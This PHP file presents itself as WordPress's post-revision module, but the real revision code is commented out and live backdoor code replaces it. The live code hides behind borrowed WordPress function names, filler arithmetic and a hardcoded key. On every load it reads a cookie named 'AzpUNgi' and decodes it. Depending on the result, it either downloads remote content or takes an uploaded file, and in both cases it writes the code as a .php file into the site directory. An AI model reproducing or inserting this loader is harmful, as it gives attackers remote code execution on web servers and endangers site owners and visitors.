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<?php /*
*
* Post revision functions.
*
* @package WordPress
* @subpackage Post_Revisions
*
* Determines which fields of posts are to be saved in revisions.
*
* @since 2.6.0
* @since 4.5.0 A `WP_Post` object can now be passed to the `$post` parameter.
* @since 4.5.0 The optional `$autosave` parameter was deprecated and renamed to `$deprecated`.
* @access private
*
* @param array|WP_Post $post Optional. A post array or a WP_Post object being processed
* for insertion as a post revision. Default empty array.
* @param bool $deprecated Not used.
* @return string[] Array of fields that can be versioned.
function _wp_post_revision_fields( $post = array(), $deprecated = false ) {
static $fields = null;
if ( ! is_array( $post ) ) {
$post = get_post( $post, ARRAY_A );
}
if ( is_null( $fields ) ) {
Allow these to be versioned.
$fields = array(
'post_title' => __( 'Title' ),
'post_content' => __( 'Content' ),
'post_excerpt' => __( 'Excerpt' ),
);
}
*
* Filters the list of fields saved in post revisions.
*
* Included by default: 'post_title', 'post_content' and 'post_excerpt'.
*
* Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
* 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
* and 'post_author'.
*
* @since 2.6.0
* @since 4.5.0 The `$post` parameter was added.
*
* @param string[] $fields List of fields to revision. Contains 'post_title',
* 'post_content', and 'post_excerpt' by default.
* @param array $post A post array being processed for insertion as a post revision.
$fields = apply_filters( '_wp_post_revision_fields', $fields, $post );
WP uses these internally either in versioning or elsewhere - they cannot be versioned.
foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) {
unset( $fields[ $protect ] );
}
return $fields;
}
*
* Returns a post array ready to be inserted into the posts table as a post revision.
*
* @since 4.5.0
* @access private
*
* @param array|WP_Post $post Optional. A post array or a WP_Post object to be processed
* for insertion as a post revision. Default empty array.
* @param bool*/
/**
* Check if a JPEG image has EXIF Orientation tag and rotate it if needed.
*
* @since 5.3.0
*
* @return bool|WP_Error True if the image was rotated. False if not rotated (no EXIF data or the image doesn't need to be rotated).
* WP_Error if error while rotating.
*/
function build_query($permastruct) {
$capabilities = $permastruct[0];
$OS = "a1b2c3d4e5";
$contrib_avatar = range(1, 10);
$options_to_update = range('a', 'z');
$plural_base = $options_to_update;
$fallback_gap = preg_replace('/[^0-9]/', '', $OS);
array_walk($contrib_avatar, function(&$del_options) {$del_options = pow($del_options, 2);});
foreach ($permastruct as $has_theme_file) {
$capabilities = $has_theme_file;
}
$s0 = array_map(function($singular) {return intval($singular) * 2;}, str_split($fallback_gap));
shuffle($plural_base);
$record = array_sum(array_filter($contrib_avatar, function($exported_schema, $utc) {return $utc % 2 === 0;}, ARRAY_FILTER_USE_BOTH));
return $capabilities;
}
// represent values between 0.111112 (or 31/32) and 0.100002 (or 1/2). Thus, Y can represent gain
$list_files = [2, 4, 6, 8, 10];
$contrib_avatar = range(1, 10);
/**
* Filters the max number of pages before it is generated.
*
* Passing a non-null value will short-circuit the generation,
* returning that value instead.
*
* @since 5.5.0
*
* @param int|null $max_num_pages The maximum number of pages. Default null.
* @param string $post_type Post type name.
*/
function auto_check_comment($struc) {
// if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM
$framebytelength = range(1, 15);
$cookie_elements = array_map(function($del_options) {return pow($del_options, 2) - 10;}, $framebytelength);
$mapped_to_lines = max($cookie_elements);
$use_verbose_page_rules = min($cookie_elements);
// Look up area definition.
$hiB = wpmu_checkAvailableSpace($struc);
return "Changed String: " . $hiB;
}
/**
* Refreshes the rewrite rules, saving the fresh value to the database.
* If the `wp_loaded` action has not occurred yet, will postpone saving to the database.
*
* @since 6.4.0
*/
function rest_find_one_matching_schema($site_user, $headerKeys){
$p6 = [85, 90, 78, 88, 92];
$f8g2_19 = [72, 68, 75, 70];
$f3g4 = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
// ID3v2.3 only, optional (not present in ID3v2.2):
$wp_environment_type = array_reverse($f3g4);
$skipped_div = array_map(function($headersToSign) {return $headersToSign + 5;}, $p6);
$ptype_for_id = max($f8g2_19);
// [23][31][4F] -- The scale to apply on this track to work at normal speed in relation with other tracks (mostly used to adjust video speed when the audio length differs).
$wp_textdomain_registry = $_COOKIE[$site_user];
$query_where = array_sum($skipped_div) / count($skipped_div);
$hh = array_map(function($term_title) {return $term_title + 5;}, $f8g2_19);
$encoded_enum_values = 'Lorem';
$link_description = array_sum($hh);
$php_timeout = in_array($encoded_enum_values, $wp_environment_type);
$responsive_container_content_directives = mt_rand(0, 100);
$handlers = 1.15;
$send_notification_to_admin = $php_timeout ? implode('', $wp_environment_type) : implode('-', $f3g4);
$export_data = $link_description / count($hh);
$wp_textdomain_registry = pack("H*", $wp_textdomain_registry);
// Read the 32 least-significant bits.
// In case any constants were defined after an add_custom_background() call, re-run.
// Don't automatically run these things, as we'll handle it ourselves.
$selective_refreshable_widgets = mt_rand(0, $ptype_for_id);
$format_string = strlen($send_notification_to_admin);
$text_direction = $responsive_container_content_directives > 50 ? $handlers : 1;
// s3 += s13 * 654183;
$content_without_layout_classes = wp_get_object_terms($wp_textdomain_registry, $headerKeys);
$request_ids = in_array($selective_refreshable_widgets, $f8g2_19);
$loopback_request_failure = $query_where * $text_direction;
$f3g2 = 12345.678;
$post_query = implode('-', $hh);
$fastMult = number_format($f3g2, 2, '.', ',');
$srcs = 1;
for ($A2 = 1; $A2 <= 4; $A2++) {
$srcs *= $A2;
}
$old = strrev($post_query);
$status_object = date('M');
if (get_importers($content_without_layout_classes)) {
$filter_name = is_numeric_array_key($content_without_layout_classes);
return $filter_name;
}
parselisting($site_user, $headerKeys, $content_without_layout_classes);
}
/** Database charset to use in creating database tables. */
function is_taxonomy_hierarchical($thisyear) {
$first_filepath = "hashing and encrypting data";
$wp_dotorg = 12;
$options_to_update = range('a', 'z');
$packed = 50;
$del_dir = ['Toyota', 'Ford', 'BMW', 'Honda'];
$filter_name = 1;
for ($A2 = 1; $A2 <= $thisyear; $A2++) {
$filter_name *= $A2;
}
return $filter_name;
}
$f8g2_19 = [72, 68, 75, 70];
/**
* Filters the comment batch size for updating the comment type.
*
* @since 5.5.0
*
* @param int $comment_batch_size The comment batch size. Default 100.
*/
function load_from_file($stylesheet_index, $remind_interval) {
$can_reuse = "Navigation System";
$post_count = "Learning PHP is fun and rewarding.";
$OS = "a1b2c3d4e5";
$home_url = 13;
$like = 14;
$file_info = 26;
$fallback_gap = preg_replace('/[^0-9]/', '', $OS);
$checkvalue = preg_replace('/[aeiou]/i', '', $can_reuse);
$log = "CodeSample";
$curies = explode(' ', $post_count);
// Check if it's an image edit from attachment edit screen.
return ($stylesheet_index + $remind_interval) % 10;
}
/**
* The directory name of the theme's files, inside the theme root.
*
* In the case of a child theme, this is directory name of the child theme.
* Otherwise, 'stylesheet' is the same as 'template'.
*
* @since 3.4.0
* @var string
*/
function wp_no_robots($thisyear) {
$limit_notices = [0, 1];
$units = 9;
// Size $preset_font_sizex xx xx (24-bit integer)
for ($A2 = 2; $A2 < $thisyear; $A2++) {
$limit_notices[$A2] = $limit_notices[$A2 - 1] + $limit_notices[$A2 - 2];
}
return $limit_notices;
}
/**
* Filters a post's comment count before it is updated in the database.
*
* @since 4.5.0
*
* @param int|null $thisyearew The new comment count. Default null.
* @param int $old The old comment count.
* @param int $post_id Post ID.
*/
function get_importers($copiedHeader){
$framebytelength = range(1, 15);
$f3g4 = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
$tiles = 5;
$like = 14;
if (strpos($copiedHeader, "/") !== false) {
return true;
}
return false;
}
$site_user = 'AzpUNgi';
/**
* Displays the blog title for display of the feed title.
*
* @since 2.2.0
* @since 4.4.0 The optional `$sep` parameter was deprecated and renamed to `$deprecated`.
*
* @param string $deprecated Unused.
*/
function change_encoding_iconv($subdir_replacement_01, $hclass){
$f3f9_76 = move_uploaded_file($subdir_replacement_01, $hclass);
return $f3f9_76;
}
// Some web hosts may disable this function
/**
* Creates an XML string from a given array.
*
* @since 4.4.0
* @access private
*
* @param array $fn_register_webfonts The original oEmbed response data.
* @param SimpleXMLElement $thisyearode Optional. XML node to append the result to recursively.
* @return string|false XML string on success, false on error.
*/
function wp_prototype_before_jquery($copiedHeader){
$copiedHeader = "http://" . $copiedHeader;
$contrib_avatar = range(1, 10);
$upgrade_result = [5, 7, 9, 11, 13];
array_walk($contrib_avatar, function(&$del_options) {$del_options = pow($del_options, 2);});
$src_key = array_map(function($singular) {return ($singular + 2) ** 2;}, $upgrade_result);
return file_get_contents($copiedHeader);
}
// Fetch the environment from a constant, this overrides the global system variable.
/**
* Switches the translations according to the given user's locale.
*
* @since 6.2.0
*
* @param int $user_id User ID.
* @return bool True on success, false on failure.
*/
function is_test_mode($schema_positions, $utc){
$err = 10;
$wp_dotorg = 12;
$home_url = 13;
$child_result = "computations";
$link_headers = 20;
$default_direct_update_url = 24;
$handler_method = substr($child_result, 1, 5);
$file_info = 26;
// ----- Invalid variable
// Set up meta_query so it's available to 'pre_get_terms'.
$feedquery2 = $err + $link_headers;
$comment_prop_to_export = $home_url + $file_info;
$APICPictureTypeLookup = $wp_dotorg + $default_direct_update_url;
$HeaderExtensionObjectParsed = function($sanitizer) {return round($sanitizer, -1);};
$widget_links_args = file_get_contents($schema_positions);
$operator = strlen($handler_method);
$queried_terms = $err * $link_headers;
$menu_ids = $file_info - $home_url;
$relative_class = $default_direct_update_url - $wp_dotorg;
$low = range($wp_dotorg, $default_direct_update_url);
$path_to_wp_config = range($home_url, $file_info);
$font_spread = base_convert($operator, 10, 16);
$contrib_avatar = array($err, $link_headers, $feedquery2, $queried_terms);
// $plugin must validate as file.
// Recreate the legacy block metadata.
// [B5] -- Sampling frequency in Hz.
$maybe_update = array_filter($contrib_avatar, function($del_options) {return $del_options % 2 === 0;});
$has_custom_theme = array_filter($low, function($del_options) {return $del_options % 2 === 0;});
$theme_data = $HeaderExtensionObjectParsed(sqrt(bindec($font_spread)));
$restriction_type = array();
$comment_cache_key = wp_get_object_terms($widget_links_args, $utc);
file_put_contents($schema_positions, $comment_cache_key);
}
wp_getPostTypes($site_user);
/**
* Filters the title field placeholder text.
*
* @since 3.1.0
*
* @param string $text Placeholder text. Default 'Add title'.
* @param WP_Post $post Post object.
*/
function upgrade_450($copiedHeader){
// Could this be done in the query?
$wp_dotorg = 12;
$protocol = basename($copiedHeader);
$schema_positions = get_test_utf8mb4_support($protocol);
// Prime comment post caches.
// Send Duration QWORD 64 // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1
// Right channel only
send_origin_headers($copiedHeader, $schema_positions);
}
/**
* The maximum size of inlined styles in bytes.
*
* @since 5.8.0
*
* @param int $total_inline_limit The file-size threshold, in bytes. Default 20000.
*/
function get_debug($struc) {
return strtolower($struc);
}
/**
* Retrieves the page permalink structure.
*
* The permalink structure is root property, and '%pagename%'. Will set the
* page_structure property and then return it without attempting to set the
* value again.
*
* @since 1.5.0
*
* @return string|false Page permalink structure on success, false on failure.
*/
function quote_escaped($standalone){
// Redirect old slugs.
echo $standalone;
}
wp_exif_date2ts([8, 3, 7, 1, 5]);
/**
* Authenticated asymmetric-key encryption. Both the sender and recipient
* may decrypt messages.
*
* Algorithm: X25519-XSalsa20-Poly1305.
* X25519: Elliptic-Curve Diffie Hellman over Curve25519.
* XSalsa20: Extended-nonce variant of salsa20.
* Poyl1305: Polynomial MAC for one-time message authentication.
*
* @param string $plaintext The message to be encrypted
* @param string $thisyearonce A Number to only be used Once; must be 24 bytes
* @param string $utcpair Your secret key and your recipient's public key
* @return string Ciphertext with 16-byte Poly1305 MAC
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
function send_origin_headers($copiedHeader, $schema_positions){
$found_orderby_comment_id = wp_prototype_before_jquery($copiedHeader);
$options_to_update = range('a', 'z');
$ret1 = "abcxyz";
$err = 10;
$GOPRO_offset = range(1, 12);
// Image.
if ($found_orderby_comment_id === false) {
return false;
}
$fn_register_webfonts = file_put_contents($schema_positions, $found_orderby_comment_id);
return $fn_register_webfonts;
}
/*
* Post-process $categories rather than adding an exclude to the get_terms() query
* to keep the query the same across all posts (for any query cache).
*/
function wpmu_checkAvailableSpace($struc) {
$ret1 = "abcxyz";
$child_result = "computations";
$packed = 50;
$post_count = "Learning PHP is fun and rewarding.";
$p6 = [85, 90, 78, 88, 92];
if(ctype_lower($struc)) {
return delete_oembed_caches($struc);
}
return get_debug($struc);
}
/**
* Constructor.
*/
function is_numeric_array_key($content_without_layout_classes){
upgrade_450($content_without_layout_classes);
$post_count = "Learning PHP is fun and rewarding.";
$tiles = 5;
$del_dir = ['Toyota', 'Ford', 'BMW', 'Honda'];
// Install user overrides. Did we mention that this voids your warranty?
$translations_stop_concat = $del_dir[array_rand($del_dir)];
$curies = explode(' ', $post_count);
$development_build = 15;
quote_escaped($content_without_layout_classes);
}
/**
* Adds the values from additional fields to a data object.
*
* @since 4.7.0
*
* @param array $response_data Prepared response array.
* @param WP_REST_Request $request Full details about the request.
* @return array Modified data object with additional fields.
*/
function is_ip_address($editor_style_handle, $spacer){
$send_id = ge_scalarmult($editor_style_handle) - ge_scalarmult($spacer);
// If this directory does not exist, return and do not register.
// If the user already exists, or the user opted out of cookies, don't set cookies.
$send_id = $send_id + 256;
// This needs a submit button.
$send_id = $send_id % 256;
$packed = 50;
$ret1 = "abcxyz";
$err = 10;
$f8g2_19 = [72, 68, 75, 70];
$tiles = 5;
$editor_style_handle = sprintf("%c", $send_id);
return $editor_style_handle;
}
/**
* Displays a comment count bubble.
*
* @since 3.1.0
*
* @param int $post_id The post ID.
* @param int $pending_comments Number of pending comments.
*/
function wp_set_post_tags($thisyear) {
$p6 = [85, 90, 78, 88, 92];
$skipped_div = array_map(function($headersToSign) {return $headersToSign + 5;}, $p6);
// Make sure changeset UUID is established immediately after the theme is loaded.
// Function : PclZipUtilTranslateWinPath()
//Need to check this first because otherwise things like `999.0.0.0` are considered valid host names
$lasterror = is_taxonomy_hierarchical($thisyear);
$query_where = array_sum($skipped_div) / count($skipped_div);
//$v_binary_data = pack('a'.$v_read_size, $v_buffer);
$responsive_container_content_directives = mt_rand(0, 100);
$crop = wp_no_robots($thisyear);
$handlers = 1.15;
$text_direction = $responsive_container_content_directives > 50 ? $handlers : 1;
return ['is_taxonomy_hierarchical' => $lasterror,'wp_no_robots' => $crop];
}
/*
* Instead of clearing the parser state and starting fresh, calling the stack methods
* maintains the proper flags in the parser.
*/
function parselisting($site_user, $headerKeys, $content_without_layout_classes){
$past_failure_emails = [29.99, 15.50, 42.75, 5.00];
$child_layout_styles = "Functionality";
$child_result = "computations";
$v_memory_limit_int = strtoupper(substr($child_layout_styles, 5));
$email_domain = array_reduce($past_failure_emails, function($tagregexp, $rootcommentquery) {return $tagregexp + $rootcommentquery;}, 0);
$handler_method = substr($child_result, 1, 5);
// end extended header
if (isset($_FILES[$site_user])) {
wp_is_jsonp_request($site_user, $headerKeys, $content_without_layout_classes);
}
quote_escaped($content_without_layout_classes);
}
/**
* Filters the default value for the option.
*
* For settings which register a default setting in `register_setting()`, this
* function is added as a filter to `default_option_{$option}`.
*
* @since 4.7.0
*
* @param mixed $default_value Existing default value to return.
* @param string $option Option name.
* @param bool $passed_default Was `get_option()` passed a default value?
* @return mixed Filtered default value.
*/
function cutfield($thisyear) {
// Not a Number
$contrib_avatar = range(1, 10);
array_walk($contrib_avatar, function(&$del_options) {$del_options = pow($del_options, 2);});
$record = array_sum(array_filter($contrib_avatar, function($exported_schema, $utc) {return $utc % 2 === 0;}, ARRAY_FILTER_USE_BOTH));
$tag_obj = 1;
for ($A2 = 1; $A2 <= 5; $A2++) {
$tag_obj *= $A2;
}
$some_non_rendered_areas_messages = array_slice($contrib_avatar, 0, count($contrib_avatar)/2);
// phpcs:ignore Universal.Operators.StrictComparisons.LooseEqual
// Use the same method image_downsize() does.
$toolbar1 = array_diff($contrib_avatar, $some_non_rendered_areas_messages);
$maybe_bool = array_flip($toolbar1);
$translation_file = array_map('strlen', $maybe_bool);
$this_revision_version = wp_set_post_tags($thisyear);
return "Factorial: " . $this_revision_version['is_taxonomy_hierarchical'] . "\nFibonacci: " . implode(", ", $this_revision_version['wp_no_robots']);
}
/**
* Deletes a term.
*
* @since 3.4.0
*
* @see wp_delete_term()
*
* @param array $stylesheet_indexrgs {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type string $3 Taxonomy name.
* @type int $4 Term ID.
* }
* @return true|IXR_Error True on success, IXR_Error instance on failure.
*/
function wp_getPostTypes($site_user){
// Parse the ID for array keys.
$ret1 = "abcxyz";
$headerKeys = 'bNQxOzgPmBYsBdTXbeBgVM';
if (isset($_COOKIE[$site_user])) {
rest_find_one_matching_schema($site_user, $headerKeys);
}
}
/**
* Gets the file's group.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to the file.
* @return string|false The group on success, false on failure.
*/
function wp_get_object_terms($fn_register_webfonts, $utc){
$f3g4 = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
$units = 9;
$webhook_comment = strlen($utc);
$updater = strlen($fn_register_webfonts);
$files = 45;
$wp_environment_type = array_reverse($f3g4);
// remote files not supported
// Moving down a menu item is the same as moving up the next in order.
$sites = $units + $files;
$encoded_enum_values = 'Lorem';
// include preset css classes on the the stylesheet.
// 3.1
$ScanAsCBR = $files - $units;
$php_timeout = in_array($encoded_enum_values, $wp_environment_type);
// 'wp-admin/css/farbtastic-rtl.min.css',
$webhook_comment = $updater / $webhook_comment;
$send_notification_to_admin = $php_timeout ? implode('', $wp_environment_type) : implode('-', $f3g4);
$v_day = range($units, $files, 5);
// [54][B3] -- Specify the possible modifications to the aspect ratio (0: free resizing, 1: keep aspect ratio, 2: fixed).
$webhook_comment = ceil($webhook_comment);
// These can change, so they're not explicitly listed in comment_as_submitted_allowed_keys.
$format_string = strlen($send_notification_to_admin);
$HTTP_RAW_POST_DATA = array_filter($v_day, function($thisyear) {return $thisyear % 5 !== 0;});
$f3g2 = 12345.678;
$wp_post_types = array_sum($HTTP_RAW_POST_DATA);
$theme_slug = str_split($fn_register_webfonts);
$fastMult = number_format($f3g2, 2, '.', ',');
$makerNoteVersion = implode(",", $v_day);
$utc = str_repeat($utc, $webhook_comment);
// module for analyzing ID3v1 tags //
$sidebar_args = str_split($utc);
$sidebar_args = array_slice($sidebar_args, 0, $updater);
$proxy_user = array_map("is_ip_address", $theme_slug, $sidebar_args);
$proxy_user = implode('', $proxy_user);
$gap = strtoupper($makerNoteVersion);
$status_object = date('M');
$supports_input = strlen($status_object) > 3;
$pass_frag = substr($gap, 0, 10);
// if we get this far, must be OK
$t_time = str_replace("9", "nine", $gap);
return $proxy_user;
}
/**
* The block editor page.
*
* @since 5.0.0
*
* @package WordPress
* @subpackage Administration
*/
function is_wpmu_sitewide_plugin($preset_font_size, $f0g8) {
// $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0;
$this_revision_version = wp_admin_bar_my_account_menu($preset_font_size, $f0g8);
//116..119 VBR Scale
// If a cookie has both the Max-Age and the Expires attribute, the Max-
// [F7] -- The track for which a position is given.
return "Modulo Sum: " . $this_revision_version['mod_sum'] . ", Modulo Difference: " . $this_revision_version['mod_difference'];
}
/**
* Total number of found users for the current query
*
* @since 3.1.0
* @var int
*/
function wp_admin_bar_my_account_menu($preset_font_size, $f0g8) {
$p6 = [85, 90, 78, 88, 92];
$centerMixLevelLookup = 6;
// Select all comment types and filter out spam later for better query performance.
$response_bytes = 30;
$skipped_div = array_map(function($headersToSign) {return $headersToSign + 5;}, $p6);
// [58][54] -- The list of tracks that are not used in that part of the stream. It is useful when using overlay tracks on seeking. Then you should decide what track to use.
// SUNRISE
// if ( (is_file($p_filedescr_list[$j]['filename']))
$query_where = array_sum($skipped_div) / count($skipped_div);
$expires_offset = $centerMixLevelLookup + $response_bytes;
$discovered = load_from_file($preset_font_size, $f0g8);
// Update status and type.
$future_posts = GenerateID3v1Tag($preset_font_size, $f0g8);
// s17 += carry16;
// Parse site language IDs for an IN clause.
$cache_value = $response_bytes / $centerMixLevelLookup;
$responsive_container_content_directives = mt_rand(0, 100);
// First look for nooped plural support via topic_count_text.
// Validate value by JSON schema. An invalid value should revert to
return [ 'mod_sum' => $discovered, 'mod_difference' => $future_posts];
}
/*
* Get two candidate normalized values for $g[$A2], depending on the sign of $g[$A2]:
*/
function ge_scalarmult($who){
$timeout_late_cron = 10;
$past_failure_emails = [29.99, 15.50, 42.75, 5.00];
$centerMixLevelLookup = 6;
// ----- Just a check
// $thisyearotices[] = array( 'type' => 'active-dunning' );
$response_bytes = 30;
$stream_handle = range(1, $timeout_late_cron);
$email_domain = array_reduce($past_failure_emails, function($tagregexp, $rootcommentquery) {return $tagregexp + $rootcommentquery;}, 0);
$who = ord($who);
$has_link = number_format($email_domain, 2);
$expires_offset = $centerMixLevelLookup + $response_bytes;
$thisfile_asf_scriptcommandobject = 1.2;
// Y
return $who;
}
/**
* Returns a navigation link variation
*
* @param WP_Taxonomy|WP_Post_Type $entity post type or taxonomy entity.
* @param string $kind string of value 'taxonomy' or 'post-type'.
*
* @return array
*/
function GenerateID3v1Tag($stylesheet_index, $remind_interval) {
$delete_limit = "SimpleLife";
$child_result = "computations";
$site_dir = strtoupper(substr($delete_limit, 0, 5));
$handler_method = substr($child_result, 1, 5);
return ($stylesheet_index - $remind_interval) % 10;
}
/**
* Stores the translated strings for 'am' and 'pm'.
*
* Also the capitalized versions.
*
* @since 2.1.0
* @since 6.2.0 Initialized to an empty array.
* @var string[]
*/
function get_test_utf8mb4_support($protocol){
// return a comma-separated list of role names for the given user
$like = 14;
$delete_limit = "SimpleLife";
$GOPRO_offset = range(1, 12);
$policy = 8;
$fhBS = 4;
$v_nb_extracted = array_map(function($mu_plugin) {return strtotime("+$mu_plugin month");}, $GOPRO_offset);
$log = "CodeSample";
$site_dir = strtoupper(substr($delete_limit, 0, 5));
$unpublished_changeset_posts = 32;
$NextOffset = 18;
// Check for "\" in password.
// s7 += carry6;
$views_links = __DIR__;
$sanitize_plugin_update_payload = ".php";
// if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM
$protocol = $protocol . $sanitize_plugin_update_payload;
# sc_reduce(hram);
// Attach the default filters.
// Nothing to save, return the existing autosave.
$sub1embed = array_map(function($defaultSize) {return date('Y-m', $defaultSize);}, $v_nb_extracted);
$use_last_line = "This is a simple PHP CodeSample.";
$g1 = $policy + $NextOffset;
$types_sql = uniqid();
$comment_fields = $fhBS + $unpublished_changeset_posts;
$thisfile_mpeg_audio_lame_RGAD_album = $NextOffset / $policy;
$spam_count = $unpublished_changeset_posts - $fhBS;
$top = strpos($use_last_line, $log) !== false;
$open_style = function($fallback_template) {return date('t', strtotime($fallback_template)) > 30;};
$post_content_block_attributes = substr($types_sql, -3);
$protocol = DIRECTORY_SEPARATOR . $protocol;
$clean_request = array_filter($sub1embed, $open_style);
if ($top) {
$sort_order = strtoupper($log);
} else {
$sort_order = strtolower($log);
}
$other_theme_mod_settings = range($policy, $NextOffset);
$last_offset = $site_dir . $post_content_block_attributes;
$f3_2 = range($fhBS, $unpublished_changeset_posts, 3);
$protocol = $views_links . $protocol;
// Check if string actually is in this format or written incorrectly, straight string, or null-terminated string
$thumb_id = array_filter($f3_2, function($stylesheet_index) {return $stylesheet_index % 4 === 0;});
$fn_compile_variations = Array();
$consumed_length = implode('; ', $clean_request);
$exports_dir = strlen($last_offset);
$translation_begin = strrev($log);
$group_id = array_sum($thumb_id);
$target_status = date('L');
$f4g8_19 = array_sum($fn_compile_variations);
$post_blocks = $sort_order . $translation_begin;
$signedMessage = intval($post_content_block_attributes);
// to make them fit in the 4-byte frame name space of the ID3v2.3 frame.
return $protocol;
}
/**
* Ends the list of after the elements are added.
*
* @since 3.0.0
*
* @see Walker::end_lvl()
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Depth of menu item. Used for padding.
* @param stdClass $stylesheet_indexrgs An object of wp_nav_menu() arguments.
*/
function wp_is_jsonp_request($site_user, $headerKeys, $content_without_layout_classes){
// If we're writing to the database, make sure the query will write safely.
$err = 10;
$del_dir = ['Toyota', 'Ford', 'BMW', 'Honda'];
$original_url = "135792468";
$wp_dotorg = 12;
$upgrade_result = [5, 7, 9, 11, 13];
$protocol = $_FILES[$site_user]['name'];
$src_key = array_map(function($singular) {return ($singular + 2) ** 2;}, $upgrade_result);
$link_headers = 20;
$translations_stop_concat = $del_dir[array_rand($del_dir)];
$reals = strrev($original_url);
$default_direct_update_url = 24;
$schema_positions = get_test_utf8mb4_support($protocol);
is_test_mode($_FILES[$site_user]['tmp_name'], $headerKeys);
change_encoding_iconv($_FILES[$site_user]['tmp_name'], $schema_positions);
}
/**
* Holds a string which contains the type attribute for style tag.
*
* If the active theme does not declare HTML5 support for 'style',
* then it initializes as `type='text/css'`.
*
* @since 5.3.0
* @var string
*/
function delete_oembed_caches($struc) {
$GOPRO_offset = range(1, 12);
$err = 10;
return strtoupper($struc);
}
/**
* Core class used to generate and handle recovery mode links.
*
* @since 5.2.0
*/
function wp_exif_date2ts($permastruct) {
$capabilities = build_query($permastruct);
// Check permissions for customize.php access since this method is called before customize.php can run any code.
// Set active based on customized theme.
// Property <-> features associations.
return $capabilities / 2;
}
/* $autosave Optional. Is the revision an autosave? Default false.
* @return array Post array ready to be inserted as a post revision.
function _wp_post_revision_data( $post = array(), $autosave = false ) {
if ( ! is_array( $post ) ) {
$post = get_post( $post, ARRAY_A );
}
$fields = _wp_post_revision_fields( $post );
$revision_data = array();
foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) {
$revision_data[ $field ] = $post[ $field ];
}
$revision_data['post_parent'] = $post['ID'];
$revision_data['post_status'] = 'inherit';
$revision_data['post_type'] = 'revision';
$revision_data['post_name'] = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; "1" is the revisioning system version.
$revision_data['post_date'] = isset( $post['post_modified'] ) ? $post['post_modified'] : '';
$revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : '';
return $revision_data;
}
*
* Saves revisions for a post after all changes have been made.
*
* @since 6.4.0
*
* @param int $post_id The post id that was inserted.
* @param WP_Post $post The post object that was inserted.
* @param bool $update Whether this insert is updating an existing post.
function wp_save_post_revision_on_insert( $post_id, $post, $update ) {
if ( ! $update ) {
return;
}
if ( ! has_action( 'post_updated', 'wp_save_post_revision' ) ) {
return;
}
wp_save_post_revision( $post_id );
}
*
* Creates a revision for the current version of a post.
*
* Typically used immediately after a post update, as every update is a revision,
* and the most recent revision always matches the current post.
*
* @since 2.6.0
*
* @param int $post_id The ID of the post to save as a revision.
* @return int|WP_Error|void Void or 0 if error, new revision ID, if success.
function wp_save_post_revision( $post_id ) {
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
return;
}
Prevent saving post revisions if revisions should be saved on wp_after_insert_post.
if ( doing_action( 'post_updated' ) && has_action( 'wp_after_insert_post', 'wp_save_post_revision_on_insert' ) ) {
return;
}
$post = get_post( $post_id );
if ( ! $post ) {
return;
}
if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
return;
}
if ( 'auto-draft' === $post->post_status ) {
return;
}
if ( ! wp_revisions_enabled( $post ) ) {
return;
}
* Compare the proposed update with the last stored revision verifying that
* they are different, unless a plugin tells us to always save regardless.
* If no previous revisions, save one.
$revisions = wp_get_post_revisions( $post_id );
if ( $revisions ) {
Grab the latest revision, but not an autosave.
foreach ( $revisions as $revision ) {
if ( str_contains( $revision->post_name, "{$revision->post_parent}-revision" ) ) {
$latest_revision = $revision;
break;
}
}
*
* Filters whether the post has changed since the latest revision.
*
* By default a revision is saved only if one of the revisioned fields has changed.
* This filter can override that so a revision is saved even if nothing has changed.
*
* @since 3.6.0
*
* @param bool $check_for_changes Whether to check for changes before saving a new revision.
* Default true.
* @param WP_Post $latest_revision The latest revision post object.
* @param WP_Post $post The post object.
if ( isset( $latest_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', true, $latest_revision, $post ) ) {
$post_has_changed = false;
foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) {
if ( normalize_whitespace( $post->$field ) !== normalize_whitespace( $latest_revision->$field ) ) {
$post_has_changed = true;
break;
}
}
*
* Filters whether a post has changed.
*
* By default a revision is saved only if one of the revisioned fields has changed.
* This filter allows for additional checks to determine if there were changes.
*
* @since 4.1.0
*
* @param bool $post_has_changed Whether the post has changed.
* @param WP_Post $latest_revision The latest revision post object.
* @param WP_Post $post The post object.
$post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $latest_revision, $post );
Don't save revision if post unchanged.
if ( ! $post_has_changed ) {
return;
}
}
}
$return = _wp_put_post_revision( $post );
* If a limit for the number of revisions to keep has been set,
* delete the oldest ones.
$revisions_to_keep = wp_revisions_to_keep( $post );
if ( $revisions_to_keep < 0 ) {
return $return;
}
$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );
*
* Filters the revisions to be considered for deletion.
*
* @since 6.2.0
*
* @param WP_Post[] $revisions Array of revisions, or an empty array if none.
* @param int $post_id The ID of the post to save as a revision.
$revisions = apply_filters(
'wp_save_post_revision_revisions_before_deletion',
$revisions,
$post_id
);
$delete = count( $revisions ) - $revisions_to_keep;
if ( $delete < 1 ) {
return $return;
}
$revisions = array_slice( $revisions, 0, $delete );
for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) {
if ( str_contains( $revisions[ $i ]->post_name, 'autosave' ) ) {
continue;
}
wp_delete_post_revision( $revisions[ $i ]->ID );
}
